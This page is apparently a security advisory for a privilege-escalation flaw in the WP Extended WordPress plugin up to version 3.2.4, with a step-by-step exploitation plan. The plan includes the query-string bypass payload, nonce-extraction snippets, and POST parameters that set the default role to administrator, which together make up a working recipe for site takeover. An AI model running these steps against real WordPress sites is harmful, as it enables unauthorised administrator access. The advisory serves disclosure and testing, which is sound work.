The Ultimate WordPress Toolkit – WP Extended <= 3.2.4 - Authenticated (Subscriber+) Privilege Escalation via Menu Editor Module
Description
The 'The Ultimate WordPress Toolkit – WP Extended' plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 3.2.4. This is due to the `isDashboardOrProfileRequest()` method in the Menu Editor module using an insecure `strpos()` check against `$_SERVER['REQUEST_URI']` to determine if a request targets the dashboard or profile page. The `grantVirtualCaps()` method, which is hooked into the `user_has_cap` filter, grants elevated capabilities including `manage_options` when this check returns true. This makes it possible for authenticated attackers, with Subscriber-level access and above, to gain administrative capabilities by appending a crafted query parameter to any admin URL, allowing them to update arbitrary WordPress options and ultimately create new Administrator accounts.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
What Changed in the Fix
Changes introduced in v3.2.5
Source Code
WordPress.org SVN## Vulnerability Summary The **The Ultimate WordPress Toolkit – WP Extended** plugin (versions <= 3.2.4) contains a privilege escalation vulnerability in its **Menu Editor** module. The module hooks into the WordPress `user_has_cap` filter via the `grantVirtualCaps()` method to dynamically grant ca…
Show full research plan
Vulnerability Summary
The The Ultimate WordPress Toolkit – WP Extended plugin (versions <= 3.2.4) contains a privilege escalation vulnerability in its Menu Editor module. The module hooks into the WordPress user_has_cap filter via the grantVirtualCaps() method to dynamically grant capabilities to users without writing them to the database.
The vulnerability stems from an insecure check in isDashboardOrProfileRequest(), which uses strpos() to check if the $_SERVER['REQUEST_URI'] contains /wp-admin/index.php or /wp-admin/profile.php. Because strpos matches the substring anywhere in the URI, an authenticated attacker (Subscriber or higher) can append one of these strings as a query parameter (e.g., /wp-admin/options-general.php?ignore=/wp-admin/index.php) to bypass the check. When the check returns true, the plugin grants the user the manage_options capability for the duration of that request. This allows the attacker to access administrative pages and update arbitrary WordPress options, such as enabling open registration and setting the default role to 'administrator'.
Attack Vector Analysis
- Endpoint: Any administrative page within
/wp-admin/, specificallyoptions-general.php(to get nonces) andoptions.php(to save settings). - Vulnerable Parameter:
$_SERVER['REQUEST_URI'](manipulated via query strings). - Authentication Level: Authenticated Subscriber or higher.
- Preconditions: The Menu Editor module must be enabled (it is a core feature of the plugin).
- Payload: Appending
?any_param=/wp-admin/index.phpto an admin URL.
Code Flow
- Entry Point: An authenticated user makes a request to a protected admin URL, e.g.,
/wp-admin/options-general.php?payload=/wp-admin/index.php. - Filter Trigger: WordPress triggers the
user_has_capfilter to determine if the user can access the page. - Vulnerable Hook:
Wpextended\Modules\MenuEditor\Bootstrap::grantVirtualCaps()is executed. - Insecure Logic:
grantVirtualCapscallsisDashboardOrProfileRequest(). - Bypass:
isDashboardOrProfileRequest()(inmodules/menu-editor/Bootstrap.php) performs:strpos($request_uri, '/wp-admin/index.php') !== false.
Since the URI contains the string in the query parameters, this returnstrue. - Capability Escalation:
grantVirtualCapsexecutes:$allcaps['manage_options'] = true; - Sinks:
- The user is granted access to
options-general.phpwhere they can view the_wpnoncefor settings. - The user can then POST to
options.php(tricking the check again) to update thedefault_roleandusers_can_registeroptions.
- The user is granted access to
Nonce Acquisition Strategy
The attacker requires a valid WordPress nonce to update settings via options.php. Since the vulnerability grants manage_options for any request containing the payload string, the attacker can simply load the settings page to extract the nonce.
- Navigate to the General Settings page with the bypass string:
URL: /wp-admin/options-general.php?ignore=/wp-admin/index.php - Use
browser_evalto extract the nonce from the hidden input field:browser_eval("document.querySelector('input[name=\"_wpnonce\"]').value") - Identify the
option_page:browser_eval("document.querySelector('input[name=\"option_page\"]').value")(This will be"general").
Exploitation Strategy
Step 1: Extract Nonce
Action: GET request to the General Settings page.
- URL:
http://localhost:8080/wp-admin/options-general.php?v=/wp-admin/index.php - Method:
GET - Target: Extract values for
_wpnonceand_wp_http_referer.
Step 2: Escalation to Administrator
Action: POST request to options.php to change site registration settings.
- URL:
http://localhost:8080/wp-admin/options.php?v=/wp-admin/index.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Parameters:
option_page:generalaction:update_wpnonce:[EXTRACTED_NONCE]_wp_http_referer:/wp-admin/options-general.php?v=/wp-admin/index.phpusers_can_register:1default_role:administrator
Test Data Setup
- Plugin Installation: Ensure
wpextendedversion 3.2.4 is installed and active. - Enable Module: Ensure the Menu Editor module is active (default).
- User Creation: Create a user with the
subscriberrole.wp user create attacker attacker@example.com --role=subscriber --user_pass=password
Expected Results
- Initial State: Subscriber user cannot access
options-general.php(returns 403 or redirects to profile). - During Exploit (Bypass): Subscriber user accesses
options-general.php?v=/wp-admin/index.phpand sees the full General Settings admin interface. - Final State: The WordPress options
users_can_registeris set to1anddefault_roleis set toadministrator.
Verification Steps
- Verify Option Change:
wp option get users_can_register(Should return1)wp option get default_role(Should returnadministrator) - Verify Access:
Log in as the Subscriber user and attempt to navigate to/wp-admin/settings.phpwithout the bypass string. If the exploit was permanent in its effect on the site settings, the user can now create new admin accounts via the registration page.
Alternative Approaches
If options.php is restricted by more than just manage_options, use the elevated privileges to access the plugin's own settings or use admin-ajax.php.
Alternative: Admin User Creation
- Navigate to
/wp-admin/user-new.php?v=/wp-admin/index.php. - Extract the
_wpnonce_create-usernonce. - POST to
/wp-admin/user-new.php?v=/wp-admin/index.phpto create a new administrator account directly, providedgrantVirtualCapsalso includescreate_users(the plugin grantsmanage_options, which in many configurations is sufficient to reach the user creation logic or modify settings that allow it).
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.